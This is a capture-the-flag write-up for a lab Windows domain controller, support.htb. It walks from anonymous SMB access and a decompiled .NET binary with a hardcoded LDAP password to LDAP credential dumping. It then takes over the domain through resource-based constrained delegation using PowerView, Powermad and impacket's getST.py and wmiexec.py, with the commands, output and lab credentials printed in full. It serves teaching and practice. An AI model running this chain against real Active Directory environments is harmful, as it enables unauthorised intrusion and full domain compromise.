We scan the machine using nmap and find that SMB and LDAP are running. We are able to list SMB shares and download all the files from the support-tools share without providing credentials. One of the files downloaded is a ZIP file containing a .Net executable called UserInfo.exe. We decompile the program with AvaloniaILSpy (which is a port of ILSpy to Linux/MacOS) and find an encrypted password. The encryption is basic and the decryption logic is already present in the code, so the password is easy to decrypt. We continue looking at the code and find an LDAP connection is made through a user called ldap and the decrypted password.
Using ldapsearch, we dump the LDAP user data and find the password for the support user in its info field. We connect using evil-winrm and get the user.txt flag.
Now that we have a shell, we scan the machine using SharpHound and BloodHound. We figure out that the SHARED SUPPORT ACCOUNTS@SUPPORT.HTB group has the GenericAll permission on DC.SUPPORT.HTB and our user, support is part of that group.
Searching for ways to exploit the GenericAll permission finds Kerberos Resource-based Constrained Delegation: Computer Object Takeover. Following the guide, we 1) create a fake computer object (no admin required) and 2) update the target computer object to enable the fake computer to impersonate and authenticate any domain user that can then access the target system. The second step is possible because we have the WRITE privilege (from GenericAll) on the target machine. Instead of following the guide to create the ticket (it uses a Window-only tool), we use impacket's getST.py. This gives us a Kerberos ticket with the ability to impersonate the Administrator user. Finally, we use wmiexec.py with the ticket to get an interactive shell on the box as Administrator and get the root.txt flag.
Enumeration
Nmap
First, let's scan for open ports using nmap. We can quickly scan for open ports and store them in a variable: ports=$(nmap -Pn -p- --min-rate=1000 -T4 10.129.227.255 | grep '^[0-9]' | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//). Then, we can scan those specific ports in depth by running nmap's built-in scripts: nmap -Pn -p$ports -sC -sV 10.129.227.255. We need to use -Pn with this box since it is blocking nmap's ping probes.
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2022-08-01 22:42:32Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: support.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
9389/tcp open mc-nmf .NET Message Framing
49664/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49670/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
49674/tcp open msrpc Microsoft Windows RPC
49699/tcp open msrpc Microsoft Windows RPC
55397/tcp open msrpc Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2022-08-01T22:43:23
|_ start_date: N/A
|_clock-skew: -1s
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
SMB (Ports 139 & 445)
Ports 139 and 445 are open so it looks like SMB is running.
We can try listing the shares (-L) without specifying a password (-N).
$ smbclient -N -L \\\\10.129.227.255\\
Sharename Type Comment
--------- ---- -------
ADMIN$ Disk Remote Admin
C$ Disk Default share
IPC$ IPC Remote IPC
NETLOGON Disk Logon server share
support-tools Disk support staff tools
SYSVOL Disk Logon server share
Reconnecting with SMB1 for workgroup listing.
do_connect: Connection to 10.129.227.255 failed (Error NT_STATUS_RESOURCE_NAME_NOT_FOUND)
Unable to connect with SMB1 -- no workgroup available
support-tools is interesting. Let's try to view the files from that share using an interactive shell:
$ smbclient -N \\\\10.129.227.255\\support-tools
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Wed Jul 20 13:01:06 2022
.. D 0 Sat May 28 07:18:25 2022
7-ZipPortable_21.07.paf.exe A 2880728 Sat May 28 07:19:19 2022
npp.8.4.1.portable.x64.zip A 5439245 Sat May 28 07:19:55 2022
putty.exe A 1273576 Sat May 28 07:20:06 2022
SysinternalsSuite.zip A 48102161 Sat May 28 07:19:31 2022
UserInfo.exe.zip A 277499 Wed Jul 20 13:01:07 2022
windirstat1_1_2_setup.exe A 79171 Sat May 28 07:20:17 2022
WiresharkPortable64_3.6.5.paf.exe A 44398000 Sat May 28 07:19:43 2022
4026367 blocks of size 4096. 883139 blocks available
It's a directory of different programs. We can download all these files to the current directory by running the following commands from this HackTricks page:
smb: \> mask ""
smb: \> recurse
smb: \> prompt
smb: \> mget *
getting file \7-ZipPortable_21.07.paf.exe of size 2880728 as 7-ZipPortable_21.07.paf.exe (3565.5 KiloBytes/sec) (average 3565.5 KiloBytes/sec)
getting file \npp.8.4.1.portable.x64.zip of size 5439245 as npp.8.4.1.portable.x64.zip (4408.1 KiloBytes/sec) (average 4074.7 KiloBytes/sec)
getting file \putty.exe of size 1273576 as putty.exe (2477.5 KiloBytes/sec) (average 3753.5 KiloBytes/sec)
getting file \SysinternalsSuite.zip of size 48102161 as SysinternalsSuite.zip (2816.2 KiloBytes/sec) (average 2938.2 KiloBytes/sec)
getting file \UserInfo.exe.zip of size 277499 as UserInfo.exe.zip (909.4 KiloBytes/sec) (average 2907.2 KiloBytes/sec)
getting file \windirstat1_1_2_setup.exe of size 79171 as windirstat1_1_2_setup.exe (613.6 KiloBytes/sec) (average 2892.4 KiloBytes/sec)
getting file \WiresharkPortable64_3.6.5.paf.exe of size 44398000 as WiresharkPortable64_3.6.5.paf.exe (2326.0 KiloBytes/sec) (average 2616.3 KiloBytes/sec)
Alternatively, you can download one file by running get UserInfo.exe.zip.
-rw-r--r-- 1 kali kali 99840 Mar 1 13:18 CommandLineParser.dll
-rw-r--r-- 1 kali kali 22144 Oct 22 2021 Microsoft.Bcl.AsyncInterfaces.dll
-rw-r--r-- 1 kali kali 47216 Oct 22 2021 Microsoft.Extensions.DependencyInjection.Abstractions.dll
-rw-r--r-- 1 kali kali 84608 Oct 22 2021 Microsoft.Extensions.DependencyInjection.dll
-rw-r--r-- 1 kali kali 64112 Oct 22 2021 Microsoft.Extensions.Logging.Abstractions.dll
-rw-r--r-- 1 kali kali 20856 Feb 19 2020 System.Buffers.dll
-rw-r--r-- 1 kali kali 141184 Feb 19 2020 System.Memory.dll
-rw-r--r-- 1 kali kali 115856 May 15 2018 System.Numerics.Vectors.dll
-rw-r--r-- 1 kali kali 18024 Oct 22 2021 System.Runtime.CompilerServices.Unsafe.dll
-rw-r--r-- 1 kali kali 25984 Feb 19 2020 System.Threading.Tasks.Extensions.dll
-rwxr-xr-x 1 kali kali 12288 May 27 13:51 UserInfo.exe
-rw-r--r-- 1 kali kali 563 May 27 12:59 UserInfo.exe.config
Running file UserInfo.exe tells us that this is a PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows. I am familiar with reversing using Ghidra, but it is not the right tool to reverse .Net binaries. Searching for ".net debugger" finds dnSpy, but the repository is archived and hasn't been updated for about 2 years. I also find ILSpy which seems to be more regularly updated. This article from ndepend compares the available decompilers. I'm going to use ILSpy since the article calls it "the de-facto .NET Decompiler." ILSpy only supports Windows, but it has been ported to Linux in the form of AvaloniaILSpy. Download the latest release from the releases page and run it with ./ILSpy.
We open the UserInfo.exe binary in ILSpy and quite quickly we find the UserInfo.Services.Protected class, which contains and encrypted password and a method to decrypt it already written for us:
This prints out nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz.
Additionally, in ILSpy, we see a class called UserInfo.Services.LdapQuery.
After looking at it, we see that the constructor contains a username (ldap) and uses the decoded password to connect to LDAP on the machine.
publicLdapQuery(){ //IL_0018: Unknown result type (might be due to invalid IL or missing references) //IL_0022: Expected O, but got Unknown //IL_0035: Unknown result type (might be due to invalid IL or missing references) //IL_003f: Expected O, but got Unknownstring password =Protected.getPassword(); entry =newDirectoryEntry("LDAP://support.htb","support\\ldap", password);entry.set_AuthenticationType((AuthenticationTypes)1); ds =newDirectorySearcher(entry);}
LDAP
From the nmap scan and the UserInfo.exe, we see that LDAP is present. LDAP runs on ports 389, 636, 3268, and 3269. According to Wikipedia, "The Lightweight Directory Access Protocol is an open, vendor-neutral, industry standard application protocol for accessing and maintaining distributed directory information services over an Internet Protocol network."
According to HackTricks, we can make sure our credentials work by trying to extract everything from the LDAP server by running ldapsearch -x -H ldap://<IP> -D '<DOMAIN>\<username>' -w '<password>' -b "DC=<1_SUBDOMAIN>,DC=<TLD>". Here are what the options in this command mean:
-x Simple Authentication
-H LDAP Server
-D My User
-w My password
-b Base site, all data from here will be given
For our situation, this command is ldapsearch -x -H ldap://10.129.227.255 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "DC=support,DC=htb". This outputs 5824 lines of output. So, we captured it all into ldap_dump.txt.
We can get only information about users by adding CN=Users to the command like so (command from HackTricks): ldapsearch -x -H ldap://10.129.227.255 -D 'support\ldap' -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' -b "CN=Users,DC=support,DC=htb". Tip: Pipe the output of that command to xclip -selection clipboard to copy it to your clipboard automatically. Output is located at ldap_users.txt. After looking through this file, we see the support user has the info field set to Ironside47pleasure40Watchful, which is weird.
Foothold
The piece of information we found is the support user's password. WinRM runs on port 5985, which is open. We can connect using evil-winrm by running evil-winrm -u support -p Ironside47pleasure40Watchful -i 10.129.227.255, which works.
Now, just run cat C:\Users\support\Desktop\user.txt to get the user.txt flag.
Privilege Escalation
Let's scan the machine using BloodHound: "BloodHound is a single page Javascript web application, built on top of Linkurious, compiled with Electron, with a Neo4j database fed by a C# data collector. BloodHound uses graph theory to reveal the hidden and often unintended relationships within an Active Directory or Azure environment. Attackers can use BloodHound to easily identify highly complex attack paths that would otherwise be impossible to quickly identify."
BloodHound only analyzes data though. We need to use SharpHound (download) to collect data. There are other data collectors but SharpHound is the only officially support collector.
Upload SharpHound.exe and run it:
*Evil-WinRM* PS C:\Users\support\Documents> .\SharpHound.exe
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:37.8577528-07:00|INFORMATION|Initializing SharpHound at 4:59 PM on 8/1/2022
2022-08-01T16:59:38.1702551-07:00|INFORMATION|Flags: Group, LocalAdmin, Session, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote
2022-08-01T16:59:38.3421370-07:00|INFORMATION|Beginning LDAP search for support.htb
2022-08-01T16:59:38.4046350-07:00|INFORMATION|Producer has finished, closing LDAP channel
2022-08-01T16:59:38.4046350-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2022-08-01T17:00:08.4455283-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 36 MB RAM
2022-08-01T17:00:20.7485323-07:00|INFORMATION|Consumers finished, closing output channel
Closing writers
2022-08-01T17:00:20.7797405-07:00|INFORMATION|Output channel closed, waiting for output task to complete
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Status: 109 objects finished (+109 2.595238)/s -- Using 42 MB RAM
2022-08-01T17:00:20.9047428-07:00|INFORMATION|Enumeration finished in 00:00:42.5649012
2022-08-01T17:00:21.0141259-07:00|INFORMATION|SharpHound Enumeration Completed at 5:00 PM on 8/1/2022! Happy Graphing!
To get BloodHound setup, you can follow this guide. Then, just download the zip file (20220801170020_BloodHound.zip) from the machine and drag and drop it onto the BloodHound interface. Then, on the Analysis tab, choose "Shortest Paths to High Value Targets":
Right click the DC.SUPPORT.HTB machine and choose "Shortest Paths to Here":
The SHARED SUPPORT ACCOUNTS@SUPPORT.HTB group has the GenericAll permission on DC.SUPPORT.HTB. If we right click that group, we will see that the support user we have access to is a member of the group. So, we have the GenericAll permission.
We need the following PowerShell modules to follow the guide: PowerView.ps1 (GitHub repo) and Powermad.ps1 (GitHub repo). Download them and then upload them to the box using evil-winrm's upload command. Load them by running the following commands:
The first step is to create a new computer object for our fake computer, FAKE01. This is the computer that will be trusted by our target computer dc.support.htb later on.
After that, apply the security descriptor bytes to the target dc.support.htb machine by running Get-DomainComputer dc | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes} -Verbose:
To get a Kerberos ticket, the guide uses Rubeus, which only runs on Windows and seems difficult to set up. Searching for "impacket get kerberos ticket to impersonate user" finds impacket's getST.py:
$ getST.py support.htb/fake01:123456 -dc-ip 10.129.227.255 -impersonate Administrator -spn www/dc.support.htb
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating Administrator
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in Administrator.ccache
Now we have the Kerberos ticket. Looking at the tools available in impacket shows "wmiexec.py: A semi-interactive shell, used through Windows Management Instrumentation. It does not require to install any service/agent at the target server. Runs as Administrator. Highly stealthy." It also has an option to use a Kerberos ticket through the KRB5CCNAME environment variable. It looks like smbexec.py is popular and would work as well.
Initially, I got the error [-] [Errno Connection error (dc.support.htb:445)] [Errno -3] Temporary failure in name resolution. So, I added dc.support.htb and support.htb to the /etc/hosts file. After that, the command worked!
$ wmiexec.py -k -no-pass support.htb/Administrator@dc.support.htb
Impacket v0.10.1.dev1+20220720.103933.3c6713e3 - Copyright 2022 SecureAuth Corporation
[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
support\administrator
C:\>type C:\Users\Administrator\Desktop\root.txt
0b**ee